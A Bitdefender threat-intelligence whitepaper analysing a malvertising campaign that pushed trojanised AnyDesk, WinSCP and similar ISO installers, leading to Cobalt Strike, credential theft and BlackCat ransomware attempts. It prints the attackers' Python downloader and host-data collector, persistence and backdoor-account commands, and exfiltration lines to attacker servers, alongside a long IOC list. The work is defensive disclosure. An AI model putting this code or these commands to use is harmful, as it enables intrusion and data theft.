Bitdefender

WHITEPAPER

Abusing the Ad Network – Threat Actors Now Hacking into Companies via Search

Contents

Authors:

Alexandru MAXIMCIUC – Team Lead, Cyber Threat Intelligence Lab @ Bitdefender

Victor VRABIE - Security Researcher, Cyber Threat Intelligence Lab @ Bitdefender

Foreword

For the past few years, hackers have increasingly targeted customers and businesses with tainted software boosted via ads. The recipe is simple – cyber-criminal groups set up fake websites for high-interest software and promote them on top of the results page through advertisements.

It takes just one search and one click for a user to fall victim to the trick. Testament to that is the series of attacks against prominent crypto-currency figures earlier in 2023 as well as a recent spate of incidents Bitdefender investigated in the second part of the year.

This report is based on an investigation into threat actors' use of a malicious ISO archive to offer business users more than they bargained for. Besides the software it advertised, the malicious ISO file contained a ZIP archive holding a Python executable and its dependencies. One DLL loaded by the python.exe process was set to execute malicious code in the form of a Meterpreter stager, giving the attackers access to the victim's computer.

Starting with that subset of indicators, Bitdefender researchers were able to identify more artefacts related to the same campaign that seems to have started at least as far back as May 2023. The malicious ISO archives were distributed using malicious ads that impersonated download pages for applications such as **AnyDesk**, **WinSCP**, **Cisco AnyConnect, Slack**, **TreeSize** and potentially more.

The same campaign seems to have caught the attention of multiple security researchers, and we would like to join their efforts by sharing our own findings.

This malvertising campaign leads to the propagation of the infection after initial exposure. For as long as they dwell in the victim's network, the attackers' primary goal is to obtain credentials, set up persistence on important systems and exfiltrate data, with extortion as the end goal. We also noticed attempts to deploy BlackCat ransomware.

Findings at a glance:

- → A threat actor with previous roots in cybercrime has shifted its initial access techniques to search engine advertisements to hijack searches for business applications such as **AnyDesk**, **WinSCP**, **Cisco AnyConnect**, **Slack**, **TreeSize** and potentially more;
- → Our research shows that the actor(s) has successfully used this type of attack since late May 2023.
- → Based on our threat insights, attackers seem to exclusively focus on North America. Until now, we have identified six target organizations in the US and one in Canada.

Infection vector

After analyzing forensic artefacts, we were able to assess that the infection started on May 17, 2023, shortly after Patient 0 downloaded a malicious ISO image called **AnyDesk_v7.1.11.iso**. The URL where the ISO file was downloaded from was:

"url": https://events.drdivyaclinic[.]com/wp-content/task/update/AnyDesk_v7.1.11.iso,
"referer": https://anydeesk[.]net/"

The **anydeesk.net** domain was spotted by mithrandir, as well as **malwareinfosec [1], [2]** to be part of a malvertising campaign, distributing a similar infected ISO archive of the legitimate Anydesk installer.

The malicious ISO we looked at, as well as the events that unfolded between the downloading of the ISO and the moment malicious code gets executed, is similar to what **mithrandir** described in the post. After mounting the ISO image, the file explorer shows the two binaries that reside in it – **setup.exe** and **msi.dll**. The execution of **setup.exe** (`md5:977c9a890f0ab2864aa363a7d1455d83`), which is a legitimate copy of **msiexec.exe**, triggers the loading of **msi.dll** (`md5: 398650fd8d97c10cf193ee7d5f07010c`) that implements a malicious export **MsiLoadStringW** that **setup.exe** will call.

The responsibility of **MsiLoadStringW** is to drop the Anydesk installer from one of the msi.dll resources at **c:\users\<user>\appdata\local\installer.exe** and to decompress the remaining two resources with a python setup at **c:\users\<user>\appdata\local\python-3.10.10** and **C:\Users\Public\Music\python**. Then, the **installer.exe** is executed to trigger the installation of the Anydesk software the user intended to install, followed by setting up persistence for **C:\Users\Public\Music\python\pythonw.exe** using the Run key named Python.

At execution, **C:\Users\Public\Music\python\pythonw.exe**, loads the **python310.dll** file that resides in the same folder, which is weaponized to load malicious Meterpreter python stager.

A similar behavior was noticed in another ISO file:

"url": "https://theboxingshowcase[.]com/wp-content/dht/asxdfj/gkgy/cvgkjc/WinSCP-6.1-Setup.iso",
"referer": "https://winsccp[.]com/"

Starting with this subset of IOCs, we were able to obtain information about new URLs distributing malicious ISO impersonating multiple applications such as **AnyDesk**, **WinSCP**, **Cisco AnyConnect**, **Slack**, **TreeSize**.

From the collected artefacts we conclude that the attackers improve their arsenal, as we noticed that the zip archive in the **msi.dll** was encrypted at some point and, in the newer variants, the payload including the legitimate installer is delivered as a separate file "**data**" in the ISO and it is decrypted at runtime, resulting in the creation of the same folder **c:\users\public\music\python** with a similar python setup, usually with a different **python310.dll** containing new C2 addresses.

For the encryption of the malicious resources, attackers use AES256-CBC with the key and IV present as obfuscated string in **msi.dll**.

Decryption of the **data** file obtained from the ISO files gives us a zip archive that is intended to be unarchived in the **c:\users\public** directly:

Interestingly, the msi.dll usually drops another python setup in locations such as c**:\users\public\videos** and **c:\users\public\pictures**, this time a legitimate one containing two unusual modules **bof** and **pythonmemorymodule** – we believe this is done to facilitate the transition to another C2 payload – CobaltStrike Beacon – once the victim is compromised.

Tools discovered during the investigation

Analysis of the **`msi.dll`** samples containing malicious python310.dll and the information about the C2 gave us a good understanding of what tools the attackers prefer.

As mentioned, **msi.dll** usually drops two python environments with dependencies and one of the python setups contains a package **pythonmemorymodule**. This exact package is used by one of the Python scripts the attackers rely on after initial access. Usually named **work<digit>.py**, the script downloads a DLL file via a http request that requires basic authentication and loads in memory the DLL using `pythonmemorymodule`:

```
import urllib.request
import ctypes
import pythonmemorymodule
import ssl
import sys
import base64
vi=sys.version_info
ul=__import__({2:'urllib2',3:'urllib.request'}[vi[0]],fromlist=['build_opener','HTTPSHandler'])
hs=[]
if (vi[0]==2 and vi>=(2,7,9)) or vi>=(3,4,3):
import ssl
sc=ssl.SSLContext(ssl.PROTOCOL_SSLv23)
sc.check_hostname=False
sc.verify_mode=ssl.CERT_NONE
hs.append(ul.HTTPSHandler(0,sc))
o=ul.build_opener(*hs)
o.addheaders=[('User-Agent','Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101
Firefox/108.0')]
gcontext = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
gcontext.check_hostname = False
gcontext.verify_mode = ssl.CERT_NONE
request = urllib.request.Request('https://104.234.147[.]134:8443/hawaii')
base64string = base64.b64encode(bytes('%s:%s' % ('testuser', 'Sup3rP4ss!'),'ascii'))
request.add_header("Authorization", "Basic %s" % base64string.decode('utf-8'))
result = urllib.request.urlopen(request, context=gcontext)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
```

```
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
```

The DLL paylod the **work<digit>.py** script intends to download is CobaltStrike Beacon.

Another type of script we encountered is batch files that intend to download and set up a python environment – **python.bat** and **unzip.bat**. Example of such scripts are `cf835143c2ded5ec499e52281965ea3b` and `7e9759853d9f34d3cd7c3caad086c89b`.

The **python.bat** script used curl and **bitsadmin** to download python.zip which contains a python environment, a bat file **unzip.bat** and a Python script that is supposedly intended to be executed afterwards. The script uses Powershell command **Expand-Archive** to unarchive the zip, the **unzip.bat** being used as a backup method for the same purpose.

The downloaded Python script in all samples we gathered is called **pp3.py** and it uses marshal serialization of a code object to execute a following stage that downloads another Python script that finally downloads and loads CobaltStrike beacon in memory.

These bat files are probably used on machines where attackers intend to move laterally so they wouldn't have to copy many files of the Python environment that were dropped during the initial access.

Another tool from the operators' arsenal is **Lazagne**, used for obtaining Windows credentials. This tool is deployed by yet another Python script usually named **laz.py** or **laza.py.** The script downloads the **Lazagne** script in the same manner as the script that downloads the CobaltStrike beacon using HTTP and basic auth (such as `https://45.61.128[.]235:8443/laz`). The script obtained uses the following config parameters containing the same user and password used by the downloader scripts:

```
pyramid_server = '45.61.128[.]235'
pyramid_port = '8443'
pyramid_user = 'testuser'
pyramid_pass = 'Sup3rP4ss!'
lazagne_module = 'all'
```

One more script was noticed during the investigation – a script responsible for information gathering from the machine it is executed on - **catcher.py**:

07a92cce2e536056ee30a18300282716	%PUBLIC%\videos\python\catcher.py
a137b903d0a823b6dd65ed39b6899b00	%PUBLIC%\videos\cat.py

As shown in the following code snippet from the script, it collects a lot of information about the environment:

```
def collect_data():
data = {}
comp_name = os.getenv("COMPUTERNAME")
OS = platform.system() + " " + platform.version()
system_model = get_system_model()
DC = get_cmd_command("nltest /DOMAIN_TRUSTS")
current_date = date.today()
current_time = time.strftime("%H:%M:%S",time.localtime())
local_ip = get_local_ip()
ipconfig = get_cmd_command("ipconfig /all")
dns_servers = get_windows_dns_ips()
netstat = get_cmd_command("netstat -o -b")
query_session = get_cmd_command("query session")
net_session = get_cmd_command("net session")
tasklist = get_cmd_command("tasklist /fo list /v")
installed_software = get_installed_software(winreg.HKEY_LOCAL_MACHINE)
# installed_software += get_installed_software(winreg.HKEY_CURRENT_USER)
rdp = get_rdp_list()
disk_info = get_drives_info()
net_share = get_cmd_command("net share")
net_use = get_cmd_command("net use")
passwords = ""
admin_desktop = get_desktop_files()
ping = ""
browser_history = ""
```

```
browser_logins = ""

browser_logins = get_browser_logpass()

data["ComputerName"] = comp_name
data["OS"] = OS
data["SystemModel"] = system_model
data["DC"] = DC
data["Date"] = current_date
data["Time"] = current_time
data["Ip4"] = local_ip
data["IpConfig"] = ipconfig
data["DNS"] = dns_servers
data["NetStat"] = netstat
data["QuerySessions"] = query_session
data["NetSession"] = net_session
data["TaskList"] = tasklist
data["Soft"] = installed_software
data["VolInfo"] = disk_info
data["NetShare"] = net_share
data["NetUse"] = net_use
data["RdpSessions"] = rdp
data["Pass"] = passwords
data["AdminDesktop"] = admin_desktop
data["Ping"] = ping
data["Browser_History"] = browser_history
data["Browser_Logins"]= browser_logins
return data
```

The results are written in a file named **C:\\Users\\Public\\Videos\\<computername>.xml** in XML format.

In analyzing the data on one C2 - **81.161.229[.]134**, an interesting sample caught our attention – `bfde4a9fe40ff5c8c8e0c47572008cf708da0d870504f1af078fe76f3a168413`.

The file seemed to be hosted on the server and accessible as **http://81.161.229[.]134/user/client.exe** at the same time as the server hosted python related scripts. This is the conclusion we came to after analyzing VT information on **81.161.229[.]134** as the last-modified and date header value from the server response on the following URLs shows that the folder **user** and **py** were present on the server at the same time:

url	last-mod	fetched-at
http://81.161.229[.]134/user/client.exe	2023/02/28	2023/03/07
http://81.161.229[.]134/user/power	2023/03/03	2023/03/03
http://81.161.229[.]134/user/1	2023/03/06	2023/03/07
http://81.161.229[.]134/py/unzip.bat	2023/03/16	2023/03/23
http://81.161.229[.]134/py/pp3.py	2023/03/18	2023/03/23
http://81.161.229[.]134/user/ntuser	2023/03/27	2023/03/27
http://81.161.229[.]134/user/desktop	2023/03/28	2023/03/29

The downloaded sample is RATel malware communicating with the C2 135.181.121[.]232, the same C2 seen in January used as C2 for RATel tool after a compromise using ManageEngine Exploit CVE-2022-47966 (Cluster 3 – Cobalt Strike and RATel). Based on the use of the same C2 and on similar TTPs noticed in January, we can conclude with medium confidence that these attacks are performed by the same threat actors. Moreover, our observations reveal an overlap of the threat actor's activities, as the **RATel** malware seems to have been updated while the Python scripts were used in the wild.

Modus operandi

Once the attackers gained access to the victim's networks, they start performing discovery using LOLBINs such as net utility, **nltest.exe** and Powershell Cmdlets:

```
get-winevent -logname "Microsoft-Windows-TerminalServices-LocalSessionManager/Operational" |
Export-Csv c:\users\public\music\rdp-log.txt -Encoding UTF8
```

```
Get-ADUser -Filter * -Properties * | Select -Property
EmailAddress,GivenName,Surname,DisplayName,sAMAccountName,
Title,Department,OfficePhone,MobilePhone,Fax,Enabled,LastLogonDate | Export-CSV "C:\users\public\
music\Adusers.csv" -NoTypeInformation -Encoding UTF8
```

```
net group "Schema Admins" /domain
```

```
net group "Enterprise Admins" /domain
```

```
net group /Domain
```

```
net group "Domain Admins" /DOMAIN
```

```
net group "Domain controllers" /DOMAIN
```

They also use a port scanner for system discovery by invoking it with the command line `portscan <local ip>/24 445,389,3389`.

For persistence, attackers used multiple scheduled tasks for running batch files, as well as a "Run" key with the "Python" value created by **msi.dll**:

schtasks /create /ru SYSTEM /tn WindowsSeen /tr C:\users\public\pictures\python\startpy.bat /sc MINUTE /mo 1020 /F
schtasks /create /tn HpSupport22 /tr C:\users\public\videos\python\zakrep.bat /SC ONSTART /F /ru SYSTEM
schtasks /create /ru SYSTEM /tn Windowsmin /tr C:\users\public\videos\zakrep.bat /sc MINUTE /mo 720 /F
schtasks /create /ru SYSTEM /tn Everydaytask /tr C:\dell\zakrep.bat /sc MINUTE /mo 1300 /F
schtasks /create /ru SYSTEM /tn Everydaytask1 /tr C:\dell\zakrep.bat /SC ONSTART /

To ensure a backup access mechanism, the attackers installed the Anydesk software and enabled the local Administrator account:

cmd.exe /c AnyDesk.exe –install C:\ProgramData\AnyDesk –start-with-win –silent
cmd.exe /c echo !Holden128 | C:\ProgramData\Anydesk\anydesk.exe –set-password
net user Adminstrator GoodLuck! /add
net localgroup Administrators Adminstrator /add

For credential access, the **lazagne** tool was used for SAM dumping.

For lateral movement, **wmic.exe, psexec** and **wmiexec** from **impacket** were used:

cmd.exe /Q /c ython.exe work5.py 1> \\\\127.0.0.1\\ADMIN$__1684434661.8052611 2>&1
pse.exe -accepteula @pc.txt -c -f -d -s start.bat
PsExec64.exe -accepteula \\\\N_b3faeb246ad5361720e3eb0a4d21893a -c -f -d -h startpy.bat

The purpose of the attack is to exfiltrate data and execute ransomware for double extortion. The exfiltration was performed using PuTTY Secure Copy client (PSCP) and Restic:

echo 'Y' | pscp.exe -pw V7aYJFRgWVeh -q "C:\users\public\video.avi" <username, password and server ip> /tmp/download/
echo 'Y' | pscp.exe -pw SD9a9F9D50A8 -q -r <folder name> <username, password and server ip>/var/data/<company name>
restic.exe -r rest: http://195.123.226[.]57:8000/ --password-file ppp.txt –use-fs-snapshot –verbose backup <folder name>
restic.exe -r rest:http://195.123.226[.]57:8000/ --password-file ppp.txt –use-fs-snapshot –verbose backup <folder name>

Before attempting to deploy ransomware, attackers tried to terminate EDR processes:

%PUBLIC%\music\terminator.exe	*f33c6912c3ca97b8a4b5056714b84d8a*	*Uses terminator.sys and device name \\.\ZemanaAntiMalware*	*Generic.Trojan.Killor.Marte.!s!.A.**
%PUBLIC%\music\reldmfe_a.exe	*790e62fcca31c0472259746936d4f318*	*Uses prokiller64.sys to terminate processes*	*Gen:Variant.Tedy.252742*
%PUBLIC%\music\prokiller64.sys	*10f3679384a03cb487bda9621ceb5f90*		*Gen:Variant.Tedy.215530*

An attempt to deploy ransomware was made:

%PUBLIC%\music\qrw84pua5.exe	*Gen:Variant.Ransom.BlackCatALPHV.18*	*cbc84817b5e2c09e7343a803f4683888*

IOCs

Files

python.zip	d5154d855b4a075654994125b93822762c950e9ad905d92dec8af513f26bbd25
zakrep.bat	21882a1bc81073476b46f585198b60834ed80a2dadbbf18c53cd1bb60f6a1128
msi.dll	22c5a1ba289e0b923db0d0a8eee542d49bb679eeecdd367e7dbf9948a74468cd
unzip.bat	8e5e82ee2b96085b913fcadd661bb6135468fef846ecc6328093e6c9c5c9a959
unzip.bat	2304592d73641d63be690cceb8e1a8dd36248defa3f284e8b771b3d0c30ddfcf
python.zip	9e3cd45683316e4ae81185fa2694ad07881ab2906bbc721771511de76479bfac
python.bat	143227f3d9497db4c8cf6e0024f41d7f2e7be3f5b52c247cecb73ad746da60f6
AnyDesk.iso	a25eba7a79e46e5f6498ccb82fb4ef0eb3abe784fa0d061fe9e1adce9d39caa7
msi.dll	62b1e355a7e4c850bb0f03c7f182f48f0ebaafa07ddae1fee599a78772d149f2
msi.dll	35c33e9e84e9e040da42b3d6e9c3c00e8f0dff2e7ee8bb59625c7378d89f3b37
msi.dll	686c7fc9d3efef602136cde2716d20ca13d1e3de3c57f787fa74e28cc8b743cd
msi.dll	fce4ca6e37d466154ed49871ac31116473b1c72cf36a9653af80e9cc83edb358
msi.dll	0dbce3ef7f5be8e1008bfa15341d2729724fef8e128555d014ac67ecc205bd76
cubalibre	c1eda3144388578d90e9a9a76ba91e2a1a83c019336544eb0aec64a05056f114
pp3.py	d53f1143d5910f025e48389f8ebb5c983007b84f2c485eba7658aa34b74e846e
cisco-anyconnect-4.iso	9c57a2a27b6fcea5bcf1eda791ccdaa0eb3fdbf93781b37283d956332f4d2ceb
AnyDesk_v7.1.iso	ac5b9d33791a80387e99ddc1cb63346f975982741c6275be7ff03ce4b0459b4f
TreeSizeFreeSetup.iso	bf062d03ab77bfa835700f7131e6f95f19e2c5015ff65e47614b736ea9817dd6
WinSCP-6.1-Setup.iso	ccd5e869216640460c3329e41ec30fa22ee729f0b4fc2e61781026c4defea6e6
WinSCP-6.1-Setup.iso	25467df66778077cc387f4004f25aa20b1f9caec2e73b9928ec4fe57b6a2f63c
WinSCP-6.1-Setup.iso	2eb2ef7a562145a0faf3c82f439221908adfcc784022a64e5bb17a432f4a8a91
WinSCP-6.1-Setup.iso	5f3488fc958b98867ef661c6697b5c2cd920199f7209086591a5e87e691891f4
WinSCP-5.21.8-Setup.iso	4a4d20d107ee8e23ce1ebe387854a4bfe766fc99f359ed18b71d3e01cb158f4a
AnyDesk.iso	91c2175f17c7af89491403c28825f25f32aba9b03af080d9cb13b28b5b1426a1
WinSCP-5.21.8-Setup.iso	a25f3604213a0db2375ddc2af800faa3833dc5597ca20b3138462c1d77faf952
setup.zip	c1cf043518a4661923ab760327d98ad159515493d25e623b580d558bb977d38e
WinSCP-6.1-Setup.iso	e825667790caf1024ea2a6f907387f860ea431bca6d799f0e69d031483c42568
AnyDesk_v7.1.11.iso	f87a976dfd3881f59dbd2ea53fbfa3a663e1fff83a333b548b4fdc4651d5b8f7
msi.dll	ad3feb1cee5750d9acd0119fbfa6af56c07e9387d3ed24633afa48b2d031aaf3
python.zip	aa5fd73dc6632c7f80e401fed40bbd70e83d11ca1363bc352d9fc512b53970af
msi.dll	cf300ae1870a891e97dc9bf4892f6c4cb5d7f57e3694129d8218d9ad1509effb
python.zip	8f0e40a237a505302da5b6e6959eb216bf4c5bcef49a281bc25d4f4adc30e15e
msi.dll	f904723e83218ed9ad137b3d0b0a1c17487aa6606a03fd567cbeeb3520b83e7c
msi.dll	9a00b8b62d5194f22f690127084f626b1abbf88777b5b8474799bca1576e5fbd
python.zip	136f45fc31a3e3c28a3e93541d9f7894f7533f2f53a05d46c7e8ef17e0af0a2f
msi.dll	d155d0af73b3e86f42672714caa4391ab615c426a3e3fc44a41e4d125a06172a
msi.dll	17c1a8ee6fd18c7a75270c31b6602c12592242affdd6608f5297a8bb88376923
msi.dll	13090722ba985bafcccfb83795ee19fd4ab9490af1368f0e7ea5565315c067fe
msi.dll	8f02fa20b02ff6321a7db6dae478c2215bb463ebec6de4db73f247873aca1315

msi.dll	150f3356485c26039dc145d0bedda265d3e9626fd1f3a180455f8b911c53c260
msi.dll	d9d53fcadc96c7bc3eae0a84a574b6222f0c906ee4916a9e68e0322b5c694d49
python.zip	088a350f64c195ff8c00042d4acbb43aef43173bfd774483bffb901b62e7bcb0
data	b0bc5185ea0eb0f2b069459f579e51fe225f16a9337b33806cc25126d084b1a3
data	f2e575e10b9761dd0e0c87191935c29e47bb5046389d273a731dedbff035c215
python.zip	97b5edec4a449a3fe387d5f0b3f8789ab6bc3389611554ec55613f63a8075cdb
python.zip	6d14a62f0a095ad58988e54b3f7ef10b8cf894a749d99e6b5630209570c4b992
python.zip	dea100f954d7f406d21337a3388eac6f4af8e0d8a67e4de7edd13a040c601a62
python.zip	ff672c1819725037815941f0091ad3938d7e6769dc93b813d3f43c1132812331e
python.zip	b5ce337ada2b8d9d3258a9600f9fe0c56ec3722576256353cd8935f14f09c441
python310.dll	21e7bcc03c607e69740a99d0e9ae8223486c73af50f4c399c8d30cce4d41e839
python310.dll	4fb70092d8533088742ca23788f29e0802b223eada1748ce82731162d25920c7
python310.dll	c7a5a4fb4f680974f3334f14e0349522502b9d5018ec9be42beec5fa8c1597fe
python310.dll	61927228b3dcf973822eb5fff44ca7940d950af7116aefe957cc31287c5283d5
python310.dll	8859a09fdc94d7048289d2481ede4c98dc342c0a0629cbcef2b91af32d52acb5
python310.dll	535aefaba2eb8d7898b176b0dcdd23fcef984994e609db222c33ece2d1c081b3
python310.dll	3ce4ed3c7bd97b84045bdcfc84d3772b4c3a29392a9a2eee9cc17d8a5e5403ce
python310.dll	fa6f641d78dcb36f15ea26b0a05a8a29b9761c7838c30a9b3bb09074bb4fc7c9
data	1067d6b4b0fb5457c6c3141041cde701de8077403e2a82f1e55771f38e52eecd
data	a9871d379482715ae2aa1927e3542b48ffde728ba44ba405ffc08b1f9788bc71
msi.dll	57d756b42c07d31664fe6fb25e9c73754ee62aeb1efe478e1f1f3eb94cafb209
msi.dll	118af93d03bbca46c8589ae14b4ce623604f78b00632bc59bb6536877094c973
python310.dll	71ef00dd6c5e0446bab2ee2d030547a1841e5fdf5063902c206b6f4bf9ca9a11
python310.dll	e74c4cf311f2b3365605b6648d96baf5674990c3f181f01f462e1ba665bf1f7f
cubalibre2	ba79214e7710368ac5a31fd31dd0ac3c06747dc19c8d2351e269f34d13e9525e
python310.dll	bacbe893b668a63490d2ad045a69b66c96dcacb500803c68a9de6cca944affef
python310.dll	fa911a3639ae77f8f890fb76ba1ab78c2ab17ab80bdfec381ab6a9ba8fef32fe
python310.dll	8dfac6521ef877efede0a82bf46d94f590127e2607b78d08321953796fddbba9
python310.dll	ed89282e3615e9cdc9489e038f7e54658b790b820c57e86703ab09292adc1233
python310.dll	ff32997b85098d2bb0f1adccc5dc4e608a869dd54fc8539482788855d53d43b7
msi.dll	81570ac9bdd4e1abf7b296b528c7507e7df773a7c3cf05ef01a874ba9af1b36f
WinSCP_setup.iso	a8b9b74dee76ea6a19845b80498d91e002133d20741b6707744fb345a3581abe
msi.dll	26031b1b58615fc80e55d07a2d5d989327351d46a36d96a7245f287327abea29
python.bat	2c4b1b93afb3f32fb7d66ba45821b2ce8763546a400c6c5a64576dd6020ada77
python310.dll	26a68bfc0d40b3cc49af1958f2004f404c960663b140fd612a2a53ccaf99f004
data	b7977a7ade802b72892a8e7dd3e333073b10f03a9c24035c4d50a5da564c7b32
python.zip	1efba890207038535440f088ef50a67b50b0f38ad954feb85425a0e76934e370
python.zip	2d8628d03f604459f9d2b92a87450c20e8d0a9c452abebf95b0da6771e842660
python.zip	ed5cda8d79cbed2ac87357246960a925a88c5dec704381a481efa6a9a0ad29ec
python.zip	7ce9879279a02909153779d012fa020c0e32f66a73cb03e8b3a97df805a990ea
python.zip	357f63d6e26b04add8aa699686b150a93ffbd954e260ae8f11211d82f93fcd6e
_bof.pyd	97b5f1910af02a03811830d069be7af864d5c8a9884c57ce2dacebd9bb0f3afc
__init__.cpython-310.pyc	5bf2bff89cad76612b95b6a74ad748a43949e161a5feb25e4f284db9cf9e795d
__init__.py	04303f733655d07f3a220a49232c14f260e6a07891672e537fc4913cd6290efe
_bof.cp310-win_amd64.pyd	c4668ae2fe6f398072f0e1462411dfbe4fbebf072b2ac2f5cf0c24ac070a489d
python310.dll	b39c5fb42f54275630c05925a1c8f0d92373560b4a735b8d9a63e6498b25ecfb
catcher.py	0076781676d7b3d138f85bb0f01faf546b04f57db48a105b7ab393df3a7241aa
work2.py	b9b2262bd59001f6f0443a1f8b85301f6ea9e794fdd06fd709d0f4547aa388c8
work2.py	a4542b2b227345bea7d6d40db74889fae282074c88dd5e2917a50db9ba11f115
pp3.py	ebf697bf8b626f39b662b2c518ec365bddad0a99ed33af8b52cf8d5f328db986

laza.py	8b9a0c84512ea24dc39f7bf41a7cac5fa5b69a2a7eba306dfd5d0287dc80ba9a
work5.py	1b8f555bb7b25eeb95f33afcdb061b5ed1c0bf59274752cf307b5a5e9ff20089
Terminator.exe	22f67422bfe931876ee53b4e212c756a1f0b0051224f7ec7b1fb68cc520e5a56
reldmfe_a.exe	7d0953814f8668a5bcbe7f7c6c9317a9f65c9dba4d1608abd91fea4c75e69a5b
qrW84puA5.exe	25ad9c3a4e1dba6861e18f16b26a661482814419553f97868b8211bcf024454b
work8.py	db2a48326f99f0944f50800539817cfb6562f2bfbbcc2f2409901319eb3592ec

URLs

hxxp://167.88.166[.]75/python.zip

hxxps://193.42.32[.]58:8443/zakrep

hxxps://172.86.123[.]127/python/python.zip

hxxp://193.42.32[.]58/python/pp

hxxps://45.66.230[.]240/python/python.zip

hxxp://193.42.32[.]58/python/python.zip

hxxp://45.66.230[.]240/python/python.zip

hxxps://firstclassbale[.]com/python/python.zip

hxxp://104.234.147[.]134/python/python.zip

hxxp://81.161.229[.]134/py/python.zip

hxxps://serveroutlook[.]com/python/python.zip

hxxp://45.66.230[.]240/python/pp3.py

hxxps://www.yb-lawyers[.]com/wp-content/ter/anyconnect/AnyDesk.iso

hxxps://172.86.123[.]127/python/pp3.py

hxxps://172.86.123[.]127:8443/work2z

hxxp://45.66.230[.]240/python/unzip.bat

hxxps://45.66.230[.]240/python/unzip.bat

hxxp://193.42.32[.]58/python/unzip.bat

hxxps://104.234.147[.]134/python/unzip.bat

hxxps://firstclassbale[.]com/python/unzip.bat

hxxp://81.161.229[.]134/py/unzip.bat

hxxps://trafcon[.]co/wp-content/plug/des/sus/cisco/anyconnect/cisco-anyconnect-4.iso

hxxps://mypondsoftware[.]com/cisco/anyconnect/file.php

hxxps://theboxingshowcase[.]com/wp-content/sdrg/sdhr/dftjft/zsge/TreeSizeFreeSetup.iso

hxxps://theboxingshowcase[.]com/wp-content/dht/asxdfj/gkgy/cvgkjc/WinSCP-6.1-Setup.iso

hxxps://djharie[.]com/wp-content/dgfs/hjdsj/xjtf/AnyDesk_v7.1.iso

hxxps://events.drdivyaclinic[.]com/wp-content/task/update/WinSCP-6.1-Setup.iso

hxxps://praybig[.]us/wp-content/smb/srs/24/5333/WinSCP-6.1-Setup.iso

hxxps://protemaq[.]com/wp-content/update/iso/6.1/tusto/WinSCP-6.1-Setup.iso

hxxps://conteudos.doutornature[.]com/wp-content/upt/upgrade/scp/v7/WinSCP-6.1-Setup.iso

hxxp://104.234.11[.]126:8880/

hxxp://157.254.195[.]83:8880/

hxxps://104.234.11[.]121:4411/

hxxps://104.234.11[.]126:4412/

hxxps://157.254.195[.]83:4410/

tcp://104.234.11[.]121:10411/

tcp://104.234.11[.]126:10412/

tcp://157.254.195[.]83:10410/

hxxp://104.234.147[.]11:8880/
hxxp://167.88.164[.]130:8880/
hxxp://185.246.222[.]15:8880/
hxxps://104.234.147[.]11:4414/
hxxps://167.88.164[.]130:4413/
hxxps://185.246.222[.]15:4415/
tcp://104.234.147[.]11:10414/
tcp://167.88.164[.]130:10413/
tcp://185.246.222[.]15:10415/
hxxp://104.234.11[.]121:8880/
hxxp://166.0.94[.]216:8880/
hxxps://166.0.94[.]216:4420/
hxxps://45.61.128[.]133:4421/
tcp://166.0.94[.]216:10420/
tcp://45.61.128[.]133:10421/
hxxp://141.98.6[.]95:8880/
hxxp://141.98.6[.]96:8880/
hxxps://141.98.6[.]95:4418/
hxxps://141.98.6[.]96:4419/
tcp://141.98.6[.]95:10418/
tcp://141.98.6[.]96:10419/
hxxp://146.70.87[.]4:8880/
hxxp://23.227.203[.]241:8880/
hxxps://146.70.87[.]4:4438/
hxxps://23.227.203[.]241:4439/
tcp://23.227.203[.]241:10449/
hxxp://157.254.195[.]53:8088/
hxxp://74.201.28[.]103:8000/
hxxp://85.208.136[.]13:8080/
hxxps://157.254.195[.]53:4433/
hxxps://74.201.28[.]103:4431/
hxxps://85.208.136[.]13:4432/
tcp://157.254.195[.]53:10443/
tcp://74.201.28[.]103:10441/
tcp://85.208.136[.]13:10442/
hxxp://157.254.195[.]108:8880/
hxxps://104.234.11[.]236:4436/
hxxps://157.254.195[.]108:4437/
tcp://104.234.11[.]236:10446/
tcp://157.254.195[.]108:10447/
hxxp://185.254.37[.]216:8880/
hxxp://185.254.37[.]217:8880/
hxxps://185.254.37[.]216:4434/
hxxps://185.254.37[.]217:4435/
tcp://185.254.37[.]216:10444/
tcp://185.254.37[.]217:10445/

tcp://146.70.87[.]4:10448/

hxxps://firstclassbale[.]com/python/cubalibre2

hxxps://104.234.147[.]134/python/cubalibre2

hxxps://212.193.30[.]14:10443/jquery-3.3.1.min.js

hxxps://firstclassbale[.]com:8443/cubalibre

hxxps://anydeesk[.]net/

hxxps://winsccp[.]com/

hxxp://45.66.230[.]237:8880/

hxxp://45.66.230[.]238:8880/

hxxps://45.66.230[.]237:4416/

hxxps://frugalprinters[.]com/wp-includes/WinSCP_setup.iso

hxxp://87.121.221[.]218:8880/

hxxp://95.214.24[.]163:8880/

hxxps://87.121.221[.]218:4422/

tcp://95.214.24[.]163:10423/

tcp://192.168.1[.]39:41337/

hxxps://45.61.128[.]235:8443/work2

hxxps://172.86.123[.]127:8443/work8

Romania HQ
Orhideea Towers
15A Orhideelor Road,
6th District,
Bucharest 060071
T: +40 21 4412452
F: +40 21 4412453

US HQ
3945 Freedom Circle,
Suite 500, Santa Clara,
CA, 95054

bitdefender.com

Bitdefender-PR-WhitePaper-RatNitro-dex14210-en_EN
CD-03/30/23 • MD-July 26, 2023 2:05 pm